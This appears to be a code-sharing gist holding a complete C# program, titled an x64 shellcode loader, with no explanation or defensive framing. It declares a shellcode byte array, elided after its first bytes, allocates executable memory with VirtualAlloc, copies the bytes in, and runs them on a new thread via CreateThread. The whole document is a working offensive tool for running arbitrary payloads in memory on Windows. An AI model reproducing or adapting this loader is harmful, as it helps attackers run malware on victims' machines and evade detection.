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Created November 21, 2019 18:26
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x64 C# Shellcode Loader
//Thanks @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs
using System;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[294] {
0xfc,0x48, ... };
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
#region pinvokes
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);
[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}
public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
#endregion
}
}
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